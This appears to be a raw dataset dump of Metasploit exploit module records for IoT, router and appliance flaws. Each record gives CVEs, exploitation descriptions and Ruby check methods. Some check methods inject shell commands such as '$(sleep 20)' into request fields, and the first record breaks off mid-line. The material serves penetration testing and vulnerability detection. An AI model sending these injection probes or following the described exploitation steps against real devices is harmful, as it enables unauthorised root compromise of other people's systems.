deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Hikvision IP Camera Unauthenticated Command Injection
Type: exploit
Path: modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb
Platform: unix
Disclosure date: 2021-09-18
References: CVE-2021-36260, URL-https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html, URL-https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/, URL-https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py
Targets: Unix Command, Linux Dropper

Description:
This module exploits an unauthenticated command injection in a variety of Hikvision IP
          cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an
          HTTP PUT request sent to the `/SDK/webLanguage` endpoint, resulting in command execution
          as the `root` user.

          This module specifically attempts to exploit the blind variant of the attack. The module
          was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It
          was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725.
          Please see the Hikvision advisory for a full list of affected products.

Check method (fingerprinting):
# Hikvision landing page redirects to '/doc/page/login.asp' via JavaScript:
    # <script>
    # window.location.href = "/doc/page/login.asp?_" + (new Date()).getTime();
    # </script>
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/')
    })
    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
    return CheckCode::Safe('The target did not respond with a 200 OK') unless res.code == 200
    return CheckCode::Safe('The target doesn\'t appear to be a Hikvision device') unless res.body.include?('/doc/page/login.asp?_')

    payload = '<xml><language>$(cat /proc/cpuinfo)</language></xml>'
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
      'data' => payload
    })

    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
    return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless res.code == 200 || res.code == 500

    # Some cameras are not vulnerable and still respond 500. We can weed them out by making
    # the remote target sleep and use a low timeout. This might not be good for high latency targets
    # or for people using Metasploit as a vulnerability scanner... but it's better than flagging all
    # 500 responses as vulnerable.
    payload = '<xml><language>$(sleep 20)</language></xml>'
    res = send_request_cgi({
      'method' => 'PUT',
      'ur
Metasploit Module: Nagios XI 5.6.0-5.7.3 - Mibs.php Authenticated Remote Code Exection
Type: exploit
Path: modules/exploits/linux/http/nagios_xi_mibs_authenticated_rce.rb
Platform: linux
Disclosure date: 2020-10-20
References: CVE-2020-5791, EDB-48959
Targets: Linux (x86/x64), CMD

Description:
This module exploits CVE-2020-5791, an OS command injection vulnerability in
          `admin/mibs.php` that enables an authenticated user with admin privileges to achieve
          remote code execution as either the `apache` user or the `www-data` user on NagiosXI
          version 5.6.0 to 5.7.3 inclusive (exact user depends on the version of NagiosXI
          installed as well as the OS its installed on).

          Valid credentials for a Nagios XI admin user are required. This module has
          been successfully tested against Nagios XI 5.7.3 running on CentOS 7.

Check method (fingerprinting):
# Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns
    # an array containing the http response body of a get request to index.php and the session cookies
    auth_result, err_msg, @auth_cookies, @version = authenticate(username, password, finish_install)
    case auth_result
    when AUTH_RESULTS[:connection_failed]
      return CheckCode::Unknown(err_msg)
    when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
      return CheckCode::Detected(err_msg)
    when AUTH_RESULTS[:not_nagios_application]
      return CheckCode::Safe(err_msg)
    end

    if @version >= Rex::Version.new('5.6.0') && @version <= Rex::Version.new('5.7.3')
      return CheckCode::Appears("Version #{@version} appears to be vulnerable")
    end

    return CheckCode::Safe("Version #{@version} is not vulnerable")
  end
Metasploit Module: RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload.
Type: exploit
Path: modules/exploits/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.rb
Platform: unix
Disclosure date: 2024-03-16
References: CVE-2024-24578, URL-https://attackerkb.com/topics/ywHhBnSObR/cve-2024-24578
Targets: Unix/Linux Command

Description:
RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple
          issues within the Java based HMIPServer.jar component. The webui allows for Firmware uploads which can be reached
          through the URL `/pages/jpages/system/DeviceFirmware/addFirmware`.
          This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be
          automatically extracted without any further checks. As this entry can contain ../sequences, it is possible to
          break out of the predefined temp directory and write files to other locations outside this path.

          This vulnerability is commonly known as the Zip Slip vulnerability and can be used to overwrite arbitrary files
          on the main filesystem. It is therefore possible to overwrite the watchdog script with a malicious payload in
          `/usr/local/addons/mediola/bin/`, which will be executed every five minutes through a cron job where attackers
          can gain remote code execution as root user, allowing a full system compromise.

          RaspberryMatic versions <= `3.73.9.20240130` are vulnerable.

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited.")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/config/help.cgi')
    })
    return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200 && res.body.include?('${dialogHelpInfoLblVersion}')

    # parse the version number
    # Examples:
    # ${dialogHelpInfoLblVersion} 3.73.9.20240130
    # ${dialogHelpInfoLblVersion} 3.73.9
    version = res.body.match(/\$\{dialogHelpInfoLblVersion\}\s*\d{1,2}\.\d{1,2}\.\d{1,2}/)
    # when found, remove whitespaces to avoid suprises in string splitting and comparison
    unless version.nil?
      version_number = version[0].gsub(/[[:space:]]/, '').split('}')[1]
      # Check if target is vulnerable
      if version_number
        if Rex::Version.new(version_number) <= Rex::Version.new('3.73.9')
          return CheckCode::Appears("RaspberryMatic #{version_number}")
        else
          return CheckCode::Safe("RaspberryMatic #{version_number}")
        end
      end
    end
    CheckCode::Unknown("Parsing version info from #{normalize_uri(target_uri.path, '/config/help.cgi')} failed.")
  end
Metasploit Module: Railo Remote File Include
Type: exploit
Path: modules/exploits/linux/http/railo_cfml_rfi.rb
Platform: %w(unix)
Disclosure date: 2014-08-26
References: CVE-2014-5468, URL-http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/
Targets: Automatic

Description:
This module exploits a remote file include vulnerability in Railo,
          tested against version 4.2.1. First, a call using a vulnerable
          <cffile> line in thumbnail.cfm allows an attacker to download an
          arbitrary PNG file. By appending a .cfm, and taking advantage of
          a directory traversal, an attacker can append cold fusion markup
          to the PNG file, and have it interpreted by the server. This is
          used to stage and execute a fully-fledged payload.

Check method (fingerprinting):
md5 = '6de48cb72421cfabdce440077a921b25' # /res/images/id.png

    res = send_request_cgi(
      'uri' => normalize_uri('res', 'images', 'id.png') # the targeturi is not used in this request
    )

    if !res
      fail_with(Failure::Unknown, 'Server did not respond')
    elsif !res.body
      fail_with(Failure::Unknown, "Server responded without a body: #{res.code} #{res.message}")
    end

    new_md5 = Rex::Text.md5(res.body)

    return Exploit::CheckCode::Appears('The target appears to be vulnerable') if new_md5 == md5

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: WatchGuard XTM Firebox Unauthenticated Remote Command Execution
Type: exploit
Path: modules/exploits/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318.rb
Disclosure date: 2022-08-29
References: CVE-2022-26318, URL-https://www.ambionics.io/blog/hacking-watchguard-firewalls, URL-https://www.assetnote.io/resources/research/diving-deeper-into-watchguard-pre-auth-rce-cve-2022-26318, URL-https://github.com/misterxid/watchguard_cve-2022-26318, URL-https://attackerkb.com/topics/t8Nrnu99ZE/cve-2022-26318
Targets: Automatic (Reverse Python Interactive Shell)

Description:
This module exploits a buffer overflow at the administration interface (8080 or 4117) of WatchGuard Firebox
          and XTM appliances which is built from a cherrypy python backend sending XML-RPC requests to a C binary
          called wgagent using pre-authentication endpoint /agent/login.
          This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x
          before 12.5.9_U2. Successful exploitation results in remote code execution as user nobody.

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited.")
    return CheckCode::Detected('The target service was detected') if check_watchguard_firebox?

    CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Sophos UTM WebAdmin SID Command Injection
Type: exploit
Path: modules/exploits/linux/http/sophos_utm_webadmin_sid_cmd_injection.rb
Platform: unix
Disclosure date: 2020-09-18
References: CVE-2020-25223, URL-https://www.sophos.com/en-us/security-advisories/sophos-sa-20200918-sg-webadmin-rce, URL-https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223, URL-https://attackerkb.com/assessments/d6e0dff3-dd46-4f19-831d-c3f3f2fa972a
Targets: Unix Command, Linux Dropper

Description:
This module exploits an SID-based command injection in Sophos UTM's
          WebAdmin interface to execute shell commands as the root user.

Check method (fingerprinting):
sleep_time = rand(5..10)

    injected, elapsed_time = Rex::Stopwatch.elapsed_time do
      inject_cmd("sleep #{sleep_time}", timeout: sleep_time * 1.5)
    end

    return CheckCode::Unknown('Could not determine the target status') if injected.nil?

    vprint_status("Elapsed time: #{elapsed_time} seconds")

    # injected == false
    unless injected && elapsed_time > sleep_time
      return CheckCode::Safe('Failed to test command injection.')
    end

    # injected == true
    CheckCode::Appears('Successfully tested command injection.')
  end
Metasploit Module: D-Link Devices UPnP SOAP Command Execution
Type: exploit
Path: modules/exploits/linux/http/dlink_upnp_exec_noauth.rb
Platform: linux
Disclosure date: 2013-07-05
References: CVE-2014-8361, OSVDB-94924, BID-61005, EDB-26664, URL-http://www.s3cur1ty.de/m1adv2013-020
Targets: MIPS Little Endian

Description:
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
          interface. Since it is a blind OS command injection vulnerability, there is no
          output for the executed command. This module has been tested on DIR-865 and DIR-645 devices.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'uri' => '/InternetGatewayDevice.xml'
      })
      if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /<modelNumber>DIR-/
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Micro Focus Operations Bridge Reporter Unauthenticated Command Injection
Type: exploit
Path: modules/exploits/linux/http/microfocus_obr_cmd_injection.rb
Platform: unix
Disclosure date: 2021-02-09
References: CVE-2021-22502, ZDI-21-153, URL-https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md, URL-https://softwaresupport.softwaregrp.com/doc/KM03775947

Description:
This module exploits a command injection vulnerability on *login* (yes, you read that right)
          that affects Micro Focus Operations Bridge Reporter on Linux, versions 10.40 and below.
          It's a straight up command injection, with little escaping required and it works before
          authentication.
          This module has been tested on the Linux 10.40 version. Older versions might be affected,
          check the advisory for details.

Check method (fingerprinting):
res = send_request_raw({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], '/AdminService/urest/v1/LogonResource'),
      'headers' => { 'Content-Type' => 'application/json' },
      'data' => rand_text_alpha(10..64)
    }, 10)

    if res && res.code == 400 && res.body.include?('Unrecognized token')
      # should return a stack trace like
      # Unrecognized token '#{data}': was expecting ('true', 'false' or 'null')
      #  at [Source: org.glassfish.jersey.message.internal.ReaderInterceptorExecutor$UnC (...)
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    return Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Lexmark Device Embedded Web Server RCE
Type: exploit
Path: modules/exploits/linux/http/lexmark_faxtrace_settings.rb
Platform: unix
Disclosure date: 2023-03-13
References: URL-https://github.com/horizon3ai/CVE-2023-26067, URL-https://publications.lexmark.com/publications/security-alerts/CVE-2023-26068.pdf, URL-https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022/, CVE-2023-26068
Targets: Unix (In-Memory)

Description:
A unauthenticated Remote Code Execution vulnerability exists in the embedded webserver in certain Lexmark devices through 2023-02-19.
          The vulnerability is only exposed if, when setting up the printer or device, the user selects "Set up Later" when asked
          if they would like to add an Admin user. If no Admin user is created the endpoint `/cgi-bin/fax_change_faxtrace_settings`
          is accessible without authentication. The endpoint allows the user to configure a number of different fax settings.

          A number of the configurable parameters on the page (ex. `FT_Custom_lbtrace`) fail to be sanitized properly before being
          used in an bash eval statement: `eval "$cmd" > /dev/null`, allowing for an unauthenticated user to run arbitrary commands.

Check method (fingerprinting):
send_wakeup
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
      'method' => 'GET'
    )

    return Exploit::CheckCode::Unknown('The target did not respond ') unless res
    return Exploit::CheckCode::Safe('The target does not seem to be vulnerable') unless res.code == 200 && res.get_xml_document.xpath('//title').text == 'Fax Trace Settings'

    Exploit::CheckCode::Appears('The vulnerable endpoint "/cgi-bin/fax_change_faxtrace_settings" is reachable')
  end

  # If the printer has been inactive for some time it might be sleeping, in which case it's best to send a request
  # or two to wake it up before running the check method or exploit.
Metasploit Module: RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution
Type: exploit
Path: modules/exploits/linux/http/piranha_passwd_exec.rb
Platform: unix
Disclosure date: 2000-04-04
References: CVE-2000-0248, OSVDB-289, BID-1148, CVE-2000-0322, OSVDB-1300, BID-1149

Description:
This module abuses two flaws - a metacharacter injection vulnerability in the
          HTTP management server of RedHat 6.2 systems running the Piranha
          LVS cluster service and GUI (rpm packages: piranha and piranha-gui).
          The vulnerability allows an authenticated attacker to execute arbitrary
          commands as the Apache user account (nobody) within the
          /piranha/secure/passwd.php3 script. The package installs with a default
          user and password of piranha:q which was exploited in the wild.
Metasploit Module: D-Link DIR-605L Captcha Handling Buffer Overflow
Type: exploit
Path: modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb
Platform: linux
Disclosure date: 2012-10-08
References: CVE-2012-10021, OSVDB-86824, URL-http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/

Description:
This module exploits an anonymous remote code execution vulnerability on D-Link DIR-605L routers. The
          vulnerability exists while handling user supplied captcha information, and is due to the
          insecure usage of sprintf on the getAuthCode() function. This module has been tested
          successfully on D-Link DIR-605L firmware 1.13 (emulated) and firmware 1.12 (real).

Check method (fingerprinting):
res = send_request_cgi({ 'uri' => '/comm.asp' })
    if res and res.code == 200 and res.body =~ /var modelname="DIR-605L"/ and res.headers["Server"] and res.headers["Server"] =~ /Boa\/0\.94\.14rc21/
      return Exploit::CheckCode::Appears('DIR-605L with Boa server detected, appears vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not a vulnerable DIR-605L')
  end
Metasploit Module: Linksys Devices pingstr Remote Command Injection
Type: exploit
Path: modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb
Platform: linux
Disclosure date: 2013-07-12
References: CVE-2013-3568, BID-61151, URL-https://seclists.org/bugtraq/2013/Jul/78

Description:
The Linksys WRT100 and WRT110 consumer routers are vulnerable to a command
          injection exploit in the ping field of the web interface.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'uri' => '/HNAP1/'
      })
    rescue ::Rex::ConnectionError
      vprint_error("A connection error has occurred")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res and res.code == 200 and res.body =~ /<ModelName>WRT110<\/ModelName>/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Realtek SDK Miniigd UPnP SOAP Command Execution
Type: exploit
Path: modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb
Platform: linux
Disclosure date: 2015-04-24
References: CVE-2014-8361, ZDI-15-155, URL-http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Software-Development-KITchen-sink/ba-p/6745115#.VWVfsM_tmko, URL-http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10055
Targets: MIPS Little Endian, MIPS Big Endian

Description:
Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command
          injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability,
          there is no output for the executed command. This module has been tested successfully on a
          Trendnet TEW-731BR router with emulation.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'uri' => '/picsdesc.xml'
      })
      if res && [200, 301, 302].include?(res.code) && res.headers['Server'] =~ /miniupnpd\/1.0 UPnP\/1.0/
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: GrandStream GXP1600 Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/grandstream_gxp1600_unauth_rce.rb
Platform: %w[linux unix
Disclosure date: 2026-02-18
References: CVE-2026-2329, URL-https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed, URL-https://psirt.grandstream.com/, URL-https://firmware.grandstream.com/Release_Note_GXP16xx_1.0.7.81.pdf

Description:
An unauthenticated stack-based buffer overflow vulnerability exists in the HTTP API endpoint
          /cgi-bin/api.values.get. A remote attacker can leverage this vulnerability to achieve unauthenticated remote
          code execution (RCE) with root privileges on a target device. The vulnerability affects all six device models
          in the series: GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630. The vulnerability affects all
          firmware versions below version 1.0.7.81.

Check method (fingerprinting):
version_id = '68'
    model_id = 'phone_model'

    server_res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
      'vars_post' => {
        'request' => "#{version_id}:#{model_id}"
      }
    )

    return CheckCode::Unknown('Connection failed') unless server_res

    return CheckCode::Unknown("Unexpected response code #{server_res.code}") unless server_res.code == 200

    json_data = server_res.get_json_document

    version_str = json_data.dig('body', version_id)

    model_str = json_data.dig('body', model_id)

    return CheckCode::Unknown('Failed to get the version or model info') if version_str.blank? || model_str.blank?

    # These 6 models all share the same firmware for the GXP1600 range.
    affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630]

    if affected_models.include? model_str
      version = Rex::Version.new(version_str)

      # Teh vulnerability was patched in firmware version 1.0.7.81, released January 30, 2026.
      if version < Rex::Version.new('1.0.7.81')
        return Exploit::CheckCode::Appears("GrandStream #{model_str} version #{version_str}")
      end
    end

    Exploit::CheckCode::Safe("GrandStream #{model_str} version #{version_str}")
  end